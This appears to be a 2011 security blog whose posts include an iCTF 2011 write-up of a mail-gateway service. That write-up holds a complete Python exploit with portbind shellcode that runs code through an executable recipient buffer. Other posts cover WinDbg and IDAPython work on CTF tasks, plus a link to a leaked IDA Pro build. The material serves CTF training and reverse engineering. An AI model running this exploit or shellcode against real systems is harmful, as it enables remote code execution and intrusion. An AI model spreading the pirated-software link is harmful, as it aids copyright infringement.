Saturday, December 3, 2011

Write up Mailgw ICTF2011

It was best CTF, which I ever played. Thanks to organisers very much. I'm in TU Berlin write know and I played with ENOFLAG team.
In this topic I will describe mailgw service.

Lets analyse it with IDA. Analysis of server application should starts from accept function.
while ( 1 )
{
  v23 = 16;
  v24 = accept(v25, (struct sockaddr *)&v28, (socklen_t *)&v23);
  if ( v24 < 0 )
  {
    v13 = __errno_location();
    v14 = strerror(*v13);
    fprintf(stderr, "ERROR: accept on socket failed: %s\n", v14);
    result = 1;
    goto LABEL_34;
  }
  v19 = fork();
  if ( v19 < 0 )
  {
    v15 = __errno_location();
    v16 = strerror(*v15);
    fprintf(stderr, "ERROR: fork failed: %s\n", v16);
    result = 1;
    goto LABEL_34;
  }
  if ( !v19 )
    break;
  close(v24);
}
dup2(v24, 0);
dup2(v24, 1);
result = manage_tcp_client();
}

As you can see. Child logic provides in manage_tcp_client function.
There is a switch with following values:
n - create account;
q - quit;
m - message;
r - read;
+ - create recipient;
- - create recipient;
l - list recipients;
s - send message.

Main attention attract the '+' block.
There is memory allocation and


mprotect((void *)(-v12 & (unsigned int)s2), ((unsigned int)&s2[v12 + 283] & -v12) - (_DWORD)addr, 7);

7 means EXEC+WRITE+READ. What I've done first, is patch this value to 3.
Next interesting place is filling protected buffer with code.


v15 = s2 + 260;
i = 0;
s2[260] = -52;
++i;
*(_DWORD *)&v15[i] = 0x82474FFu;
i += 4;
*(_DWORD *)&v15[i] = 0x82454FFu;
i += 4;
*(_DWORD *)&v15[i] = 0xC304C483u;
i = 0;
while ( 2 )
{
    if ( read(0, &ptr, 1u) )
    {
      s2[i] = ptr;
      if ( ptr != 124 )
      {
        ++i;
        continue;
      }
      s2[i] = 0;
    }
    break;
}

This buffer can be dissembled.
push        dword ptr [esp+0x8]
call        dword ptr [esp+0x8]
add         esp, 0x4
ret  

As you can see from this peace of code, that the no limits for adding values in s2 buffer. And also there is a possibility to write over own code to s2+260. But first of all we need to find a place where this buffer called. Note, that buffer size if 284. Last values are list entry's. Also, note, that, for adding and deleting recipients, necessary to add + in the first place and | as last symbol.

Lets move to the '-' handler.

for ( s2 = *(char **)&recipients[276]; s2 != recipients; s2 = (char *)*((_DWORD *)s2 + 69) )
{
    if ( !strcmp(s1, s2) )
    {
      ((void (__cdecl *)(_DWORD, char *))(s2 + 261))(*((_DWORD *)s2 + 64), s2);
      *(_DWORD *)(*((_DWORD *)s2 + 69) + 280) = *((_DWORD *)s2 + 70);
      *(_DWORD *)(*((_DWORD *)s2 + 70) + 276) = *((_DWORD *)s2 + 69);
      if ( debug )
        fprintf(stderr, "Recipient %s removed\n", s1);
      free(s2);
      s2 = 0;
      break;
    }
}

As you can see.There is a call s2 + 261 in '-' handler, is the recipients exist in list.
So. What's only needed is to put shellcode, as a recipent, to the buffer and then delete this reciepent. The one problem was to through away from strcmp function. For such purpose add 00 value as a first value.
Then put shellcode and at the offset 261 put relative jmp to 260 bytes back. "\xe9\xf7\xfe\xff\xff".
In my example I take Linux/x86 - forking portbind shellcode - port=0xb0ef(45295) - 200 bytes from Shell-Storm

import socket
import sys
HOST, PORT = "192.168.1.3", 9119
shell = "\x00"
shell +="\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell +="\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell +="\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell +="\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell +="\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell +="\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell +="\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell +="\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell +="\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell +="\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell +="\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell +="\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell +="\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell +="\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell +="\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell +="\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell +="\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell +="\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell +="\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell +="\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell +="\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell +="\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell +="\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell +="\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell +="\x89\xf3\xb0\x06\xcd\x80\xeb\x99"
shell +="\x90" * (261 - len(shell))
print len(shell)
shell +="\xe9\xf7\xfe\xff\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
str1 = '+'+ shell + "|\n"
print str1
sock.send(str1)
str2 = '-'+ shell + "|\n"
sock.send(str2)
sock.close()



Read more...

Wednesday, July 20, 2011

PykdTrace

Ciss Hot Summer has a lot of different ways to do, but I choose bug hunting and trace building.
Some researches make trace with Temu, some use debuggers: MyNav, ProcessStalker. But, for kernel purpose, as you know, we need to use WinDbg. Big advantage that Windbg works everywhere.
It’s not a secret that kernel researches use Windbg for rootkit hunting and Analyzing. You can find a lot of scripts in KDAR project.
But It’s not comfortable to use Windbg script, so pykd project was born.
Today I would like to present you small overview of pykd and my own script for tracing syscalls.

Let’s start from installing. I can install only version for python 2.7. Another version didn’t work in my Win (It doesn’t work with any VCRedist).
If you installing it from setup packet you already have different examples. If you install only *.pyd file, download it, because documentation on his site is sparse. It’s time to make some experiments.
.load pykd.pyd - load extension in WinDbg.
!py name.py – starting script. Don’t forget to set PYTHONPATH because otherwise any dependencies will not work.
Have fun? …
As any debugger tracer, it’s necessary to insert breakpoints and handle them. Pykd has bp class. Handler must return DEBUG_STATUS_GO or DEBUG_STATUS_GO_HANDLER, to continue execution or stopping.

bp( nt.DbgPrint, Handler)
Then you should type go() in you script. Pykd set bp only after immediately start.
Next task is monitoring creating process and his child’s. You can find many different ways, but I’d like to control PspInsertProcess and PspProcessDelete. These functions append and remove EPROCESS to\from PsActiveProcessList. In my script I create a BPHandler class which contains handlers for Processes and Syscalls bps. Syscall bps enables when you process with started. For this purpose pykd has typeVar class.

eprocess = typedVar("nt", "_EPROCESS", reg(“eax”)
And you can use eprocess like a structure - eprocess.UniqueProcessId.
In Syscall handler we needs to get eprocess too. In this case I’d like to show you another command – dbgCommand

def GetCurrentProcess(self):
str = dbgCommand(".printf \"%x\n\", poi(poi(fs:[0x124])+0x50)")
return int(str, 16)
Starting script 
!py pykdtrace.py dropper
and any droppers in VMware and go to sleep.

f60:nt!NtAlpcConnectPort
f9c:nt!NtAllocateVirtualMemory
f9c:nt!NtAllocateVirtualMemory
f9c:nt!NtAllocateVirtualMemory
Wake up and see big log file. Result of syscall I’m using for some metamorphic experiments, but it can be used for tracing drivers and so on. Change GetSyscallList function and get another Bp list for your purpose.

Looks pretty simple. But I have few remarks:

  • Pykd doesn’t show me python exceptions (print debug engine works fine. It’s makes me crazy)
  • Pykd doesn’t call destructor of any classes.( So It doesn’t deleted bp and doesn’t close file, when I stopping it by initial break.)
  • Pykd is slow engine for tracing purposes, But for rootkit hunting it’s really good things.

Another experiment with kernel tracing I will make with Ida and some IoCtl handler.

Good Luck.

P.S. I’m think that windows driver for temu is big. It’s my fault. You can see him for Win 7 from Linux driver developer in Olshanov repository.
Read more...

Wednesday, July 13, 2011

IDA Pro 6.1 + HexRays 1.5 leaked

long-awaited leaked.

IDA Pro 6.1 + HexRays 1.5 leaked: http://t.co/EXqytpT (sendspace.com).
Epic story: http://t.co/n7awBas (rus)
Read more...

Thursday, June 2, 2011

Unpacked bootmgr x86 part

Unpacked bootmgr
First 5 sections is correct. Other segments are wrong. But anymore IDA can associate it with pdb.


This version is check Win 7 Sp0. You also can find free version or asking me. 
Also there are small differences after ms-advisory-2506014-x64. 
Read more...

Tuesday, April 12, 2011

IDAPython and CTF Task

Few month ago I read post “IDA + Python = Love” in “Hacker” journal and been a pist off, because it is translate from HexBlog and didn't told about another cool IDAPython feature – Appcall, which appear in IDA 5.6. Here is user guide.
Appcall is a mechanism used to call functions inside the debugged program from the debugger or your script as if it were a built-in function.
So you don't need a ctypes for simple operations.


Today I will show how you can use this technics in different CTF tasks with IDA 6.0 demo. 



RuCTF2009 Quals Reverse 100


Every CTF quals we have interesting reverse task with Brute Force. Let's get reverse 100 from RuCTF quals 2009.

It was pretty simple binary with checking string function.


First of all start debugger and open python command line.
  1. Initialize Appcall object - find a function by name and confront prototype.
  2. Find String pointer with IDC LocByName function and patch them by PutDataList.
  3. Initialize permutation object and start the script. 
import string
from idautils import PutDataList
from idc import LocByName
from itertools import product

brute = Appcall.proto("brute_f", "int __cdecl brute_f();")

def patchString( val ):
 PutDataList( LocByName('string'), map( lambda(i):ord(i), val))

for i in xrange(3):
    for str in product( string.letters + string.digits, repeat=i):
        patchString(str)
        if brute() == 1:
          print ''.join(str)

 In console menu you can see results:
aF nh oY p4 rV sg D5 FW Gf HH Iy Tv UG Zi 18 2k 3Z


RuCTF2009 Quals Reverse 200


 
Another Example, It's necessary to call some function with different parameters. Look at reverse 200 in RuCTF quals 2009. We have a hex string 0408151623426C12 and dll. Find a upper function in Graph mode.




If you have a Hex-Rays(or IDA 5.5) you can decompile it and get a function prototype. Here is it
int __fastcall func(char *, char *, char *);
Presence of calling convention is obligatory.






Like in last example
  1. initializing Appcall object
  2. creating input and output buffers. 
  3. calling function

test = Appcall.proto("func", " int __fastcall func(char *, char *, char *);")
bufin = Appcall.buffer( "\x04\x08\x15\x16\x23\x42\x6C\x12")
buffout1 = Appcall.buffer ( "\x00" * 15 )
buffout2 = Appcall.buffer ( "\x00" * 15 )
test( bufin, buffout1, buffout2 )
print buffout1.value.encode('hex')

Result: 69da2403d2416d3c8042625839d400 



Codegate 2011 Quals Issue 500


Since I starting interesting boot code in Windows, I use bochs for any researches. Support of bochs in IDA start from 5.4 version. IDA 5.5 can works only with bochs 2.3.7, because can't get register information from new versions. IDA 6.0 with IDA 5.5 plugins of bochs works fine with 2.4.5.

I didn't make this task in CTF time, but I have a one interesting decision method. You can read detailed write up on Leet More blog.

First of all lets make bochsrc file for issue500.bin.
A already has one. This example works fine in 2.4 and 2.3. For you purpose only modify string as you need
 
ata0-master: type=disk, mode=flat, translation=auto, path="$CODEGATE\iss500\issue500.bin", cylinders=6500, heads=255, spt=63, biosdetect=auto, model="test"

Next step is starting IDA with bochs. Unfortunately I don't have full IDA version upper then 5.5. And can't use Appcall. IDA 6.0 demo send me this screen.



So I will talk about IDA 5.5 in this section and if you have newer version PLEASE check Appcall for 16bit code. I hope it will works fine.


Starting IDA. Then i main menu choose Debugger->Run->Local Bochs Debugger.
In next window choose full path to *.bxrc file.
Next step is "Debug options->Set speciefic options"


Set full path to bochsdbg.exe, and choose Disk image.
That's all preferences which we need. Start debugger and wait until IDA create db. Then bochs told you about bad disk geometry - push continue. And then you image will ask you a password. Look at the call stack and find "debug#" segment. Put bp after "int" and push enter.

Now you are in input pass function and lower a pass checker function. At the picture you can see this simple function, which called for each simbol. DX started from 0 and after all symbols must be 0x2002.
You can write algorithm on python or C, but it cool - use debugger for brute.

Please check it in newer version of IDA and give me know.



RuCTF 2011 Quals Reverse 300


Really crazy task with brute. I will show you script for my first idea about this task. Shortly we have a binary, which want 10 symbols string which satisfy claims of sub_40181A(brute_f). This function check input string with table started from 0x403182. Indexing in dict and so on makes me crazy so I make a script which reverse function execution. It means that we get a last value - 0xD4, find it in dictionary, calculate offset and search it again.

start = "D4"
outstr = ""
import string
strOld = "23456789TJQKAhscd "
start_offset = LocByName("dict")
for i in xrange(0xa):
    offset = FindBinary( LocByName("dict"),SEARCH_DOWN, start) - start_offset
    print "VA %x RVA %x" % (offset + start_offset, offset)
    for i in xrange(0x13):
        val = (offset - ( i >> 1 )) / ( 2 * 0x13 )
        if (val * ( 0x13 * 2) + i * 2) == offset:
            print hex(i) + " '" + strOld[i] + "' " + hex(ord(strOld[i])) + " --> " + hex( val )
            start = "%x" % val
            outstr += strOld[i]
            break
print outstr

I get a string like h2 h2h2 h2. reverse it to 2h 2h2h 2h and put in program input - get a 50%.
Then if you want to check possible variants you need a construction like this. (val_4d = 0x40317E)
brute = Appcall.proto("brute_f", "int __cdecl brute_f();")
PutDataList( LocByName('string'), b)
brute()
if (Dword(LocByName("val_4d"))) == 0xd4:
    print "OK"

Thank you for attention. Have a nice CTFs with IDApython.
Read more...

Friday, March 18, 2011

RusCryptoCTF T4 Task


Lets show you decision of T4 RusCrypto task from Ufologists.

We were given an access to the box on which key container was running. It was uploaded not long ago by third party developer. Container search ended with BSOD with help of antirootkit and antiviruse. Analyze the dump and find the key in root of OS.
P.S.We know for sure that flag contains only latin symbols. download file

First of all unzip it.And get memory dump. Put it in to WinDbg.

Let's start
kd>!analise -v
WARNING: Stack unwind information not available. Following frames may be wrong.
989e9c58 8a267f44 badb0d00 00000000 00000801 nt!Kei386EoiHelper+0x291c
989e9ce4 81a2aa31 00000004 00000d54 00000000 klif+0xdf44
989e9d54 81a2b2ff 00000000 00000000 8d41f348 nt!IoSetIoCompletion+0x3bd
989e9d74 819f1a2d 8d41f348 00000000 00000001 nt!IoSetIoCompletion+0xc8b
989e9dc0 8184aa3e 905f5973 83d2e8a0 00000000 nt!RtlDestroyAtomTable+0x50f
00000000 00000000 00000000 00000000 00000000 nt!RtlSubAuthorityCountSid+0x3c4
Something crazy and Unknown. Lets Google driver name klif.
It's Antivirus. Remember that Memdump was made with Antivirus and antirootkit.
Ok. Let's see all drivers in system.

kd> lm oft
(It's last drivers)
905de000 905e1d00   Dbgv     \??\C:\Windows\system32\Drivers\Dbgv.sys Sat May 17 19:18:56 2008 (482EF760)

905e2000 905f0000   atapi32  \??\C:\Windows\System32\drivers\atapi32.sys Wed Mar 09 23:33:41 2011 (4D77E425)
905f0000 905f8700   Normandy \SystemRoot\System32\Drivers\Normandy.SYS Fri Apr 30 08:00:34 2010 (4BDA55E2)
93c10000 93e11000   win32k   \SystemRoot\System32\win32k.sys Sat Jan 19 08:36:46 2008 (47918C6E)
93e20000 93e37000   dxg      \SystemRoot\System32\drivers\dxg.sys Sat Jan 19 08:36:11 2008 (47918C4B)
93e50000 93e59000   TSDDD    \SystemRoot\System32\TSDDD.dll Sat Jan 19 09:01:09 2008 (47919225)
93ea0000 93ec8a80   vmx_fb   \SystemRoot\System32\vmx_fb.dll Fri Oct 03 22:41:58 2008 (48E66776)
One of them was developed in 2011.And one in 2010. All another drivers there are in Vista.
Google Normandy.sys -> It's RkU. (antirootkit)

Let's analyze driver.
kd> !dh 905e2000
Debug Directories(1)
Type       Size     Address  Pointer
cv           70        acb8     98b8 Format: RSDS, guid, 1, d:\develop\my_project\ruscryptotask\driver\ruscrypto\objfre_win7_x86\i386\Ruscrypto.pdb
Sure it's some task for RusCrypto.
Get file from memory.
kd> .writemem d:\dumpnt.exe 0x905e2000 L?E000

OK. Add it to IDA. Base program on 905e2000.

Remember that driver unloads init section. So DriverEntry we can't find.
Find a peaces of code.


IDA colored code. Push 'P' to make function.
Let's analyze imported functions. IDA knows about .idata section. So all imported functions are red.


Imported function are

.idata:905E4000                 extrn unk_905E4000      ; CODE XREF: sub_905E4422+712 p
.idata:905E4000                                         ; DATA XREF: sub_905E4422+712 r
.idata:905E4004                 extrn unk_905E4004      ; CODE XREF: sub_905E4422+70B p
.idata:905E4004                                         ; DATA XREF: sub_905E4422+70B r
.idata:905E4008                 extrn unk_905E4008      ; CODE XREF: sub_905E4422+6FC p
.idata:905E4008                                         ; DATA XREF: sub_905E4422+6FC r
.idata:905E400C                 extrn unk_905E400C      ; CODE XREF: sub_905E4422+22 p
.idata:905E400C                                         ; DATA XREF: sub_905E4422+22 r
.idata:905E4010
.idata:905E4014                 extrn unk_905E4014      ; CODE XREF: .rdata:905E4BAA p
.idata:905E4014                                         ; DATA XREF: .rdata:905E4BAA r
.idata:905E4018                 extrn unk_905E4018      ; DATA XREF: sub_905E4BB6 r
Analyze all funcrions with Windbg.

kd>u poi(905E4000) and rename in IDA.


Now Import looks like:


More comfortable. And. Driver allocates pool and didn't Free it.
Another interesting things is MmProtectMdlSystemAddress function.

NTSTATUS MmProtectMdlSystemAddress(
  __in  PMDLX MemoryDescriptorList,
  __in  ULONG NewProtect );
Push add symbolic constant and find READ_EXECUTE. Now peace of code is


Driver make Mdl from memory [ebp-80h] + 0x236, then Protect in as EXECUTE. And Call it later.
Interesting pool. How we can find it. Lets see another function for memory.

PVOID ExAllocatePoolWithTag(
  __in  POOL_TYPE PoolType,
  __in  SIZE_T NumberOfBytes,
  __in  ULONG Tag
);



Now we sure, that driver allocate this pool and put pointer to [ebp-80h].
We need to find this pool in memory, but pointer was in stack and driver lose it...
System don't lose it and we can find pool by TAG.

Params of ExAllocatePoolWithTag is

PoolType [in]
Specifies the type of pool memory to allocate. For a description of the available pool memory types, see POOL_TYPE.

NumberOfBytes [in]
Specifies the number of bytes to allocate.

Tag [in]
Specifies the pool tag for the allocated memory. Specify the pool tag as a character literal of up to four characters delimited by single quotation marks (for example, 'Tag1'). The string is usually specified in reverse order (for example, '1gaT'). The ASCII value of each character in the tag must be between 0 and 127. Each allocation code path should use a unique pool tag to help debuggers and verifiers identify the code path.

Reverse string order. So 0x4D646Ch  is 'Mdl', reverse it 'ldM'.Windbg again.
kd>!poolfind ldM

Nothing. Let's see all pools.
kd>!poolused

If you get error add c:\symserver;SRV*c:\symserver*http://msdl.microsoft.com/download/symbols to symbol path.
Sure ldM is exist.
ldM.        1      576         0        0 UNKNOWN pooltag ' ldM', please update pooltag.txt
Size 576 is 240 in hex. We allocate 0x238. 8 bytes it's header.
Another way to get pool is kd>!poolfind 0x004D646C
Again fail. Lets
kd>!poolfind 0x004D646C 0

8d4a9a60 size:  240 previous size:   30  (Allocated) ldM.

Ok. We find a pool. Dump it.
kd> .writemem d:\dumpnt2.exe 0x8d4a9a60 L?240

First 8 bytes is header. All another is code. Put it in IDA.


Inline Function without any import and with some data on stack. Execute it with IDA and Bochs.


Here is answer.

P.S. Encryption in binary was DES. Encryptoin in pool was xtea. 
Read more...